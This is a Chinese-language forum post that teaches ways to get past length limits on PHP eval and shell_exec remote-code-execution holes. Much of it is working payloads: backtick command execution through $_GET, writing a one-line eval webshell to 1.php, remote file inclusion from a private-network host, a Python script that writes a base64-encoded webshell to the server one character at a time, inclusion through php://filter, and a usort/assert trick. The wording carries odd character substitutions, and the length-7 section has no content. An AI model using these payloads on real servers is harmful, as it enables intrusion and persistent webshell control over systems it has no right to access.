RCE-eval长度限制突破技巧

打印 上一主题 下一主题

主题 595|帖子 595|积分 1785

目次
一、长度17的限制绕过
1、最简朴的绕过
(一)绕过
(二)编写一句话木马
2、文件包含的使用 
(一)长途文件包含的使用
(二)当地文件包含的使用
3、usort绕过
(一)绕过方法:
(二)过程剖析
二、长度7的绕过
1、绕过方法:


RCE执行漏洞:
执行下令行下令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入此中,使用连接工具连接即可
一、长度17的限制绕过

  1. $param = $_REQUEST['param'];
  2. if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false)
  3. {
  4. eval($param);
  5. }
复制代码
1、最简朴的绕过

(一)绕过

param限制是17,我们只要param传入的参数长度下于17就可以
   param=echo `$_GET[1]`;&1=id
  

可以看到可以执行系统下令了
(二)编写一句话木马

使用之前的下令执行语句创建一个新的php文件
   param=echo%20`$_GET[1]`;&1=touch 1.php
  

进入系统可以看到创建乐成
注:如果没有创建乐成,大概率是你的www-data对html目次的权限不够,
解决办法:修改权限或修改目次的所属者等等,办法浩繁

接下来我们往这创建好的文件里写内容:
   param=echo%20`$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > 1.php
  

乐成写入!接下来连接蚁剑试试

连接乐成!
2、文件包含的使用 

(一)长途文件包含的使用

   可以使用长途文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。
  不外,实在include$_GET[1];也是可以运行的,中间的空格可以不要。
  这也是一个思路,但限制就是必要开启长途文件包含,但这个选项默认是关闭的。
  include包含的所有文件都以php格式运行。
  param=include$_GET[1];&1=//192.168.xxx.xxx//get.php
(二)当地文件包含的使用

1、向服务器写入文件并包含
   既然文件要使用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?
  这时候可以使用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
  1. param=$_GET[a](N,a,8);&a=file_put_contents
  2. 刚好16位
复制代码
  file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末了,而不是覆盖。
  除了file_put_contents,error_log函数效果也类似。
  但这个方法有个题目,就是file_put_contents第二个参数如果是符号,就会导致PHP堕落,比如  code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。
  于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64举行解码即可。
  

咱在只必要将PD9waHAgZXZhbCgkX1BPU1RbMV0pOw一个一个写入到文件里就行
   将这些字符通过file_put_contents依次写入文件N中
  他的参数有(file,content,type)。第一个是要上传的文件名,第二个是文件内容,第三个为8时就表现像文件追加内容,而不是覆盖
  由于字符有点多,手动一个一个有点慢,下面我写了一个脚本,快速执行访问
  
  1. import requests
  2. string = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw'
  3. for i in string:
  4.     payload = "http://192.168.217.135/demo.php?param=$_GET[a](N,{},8);&a=file_put_contents".format(i)
  5.     response = requests.get(payload)
  6.     if response.status_code == 200:
  7.         print(i)
  8.     else:
  9.         print(response.status_code)
复制代码
查看结果,写入乐成

文件内容写好后,使用文件包含,直接使用蚁剑举行连接
   param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
  

   php://filter  ----文件伪协议 
  read ----表现读取文件
  convert.base64-decode -----表现将文件内容举行base64解码
  resource  ----表现读取的文件路径和文件名
  因为我编码的内容为:
  

  以是连接时用1来连接 。
  3、usort绕过

用于绕过长度限制;
(一)绕过方法:

   ?1[]=test&1[]=phpinfo();&2=assert
-------------------------------
  post传参:
  param=usort(...$_GET);
  

(二)过程剖析

通过GET传入两个数据,一个数组,和一个assert函数
通过POST处置惩罚传入的GET参数
具体过程如下:
usort函数

['test','phpinfo()'] ,assert
相称于用assert取处置惩罚前面数组里面的每一个值
类似于:
usort(['test','phpinfo()'],'assert')

二、长度7的绕过

代码:
  1. $param = $_REQUEST['param'];  
  2. if ( strlen($param) < 8 )
  3. {  
  4.     echo shell_exec($param);
  5. }
复制代码
使用之前的:`$_GET[1]` ----长度为10,用不了了
1、绕过方法:





文件确实写入了网站背景目次。
为了节省时间,直接看结果




乐成的创建了一个一句话木马文件。
实验连接试一试


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

自由的羽毛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表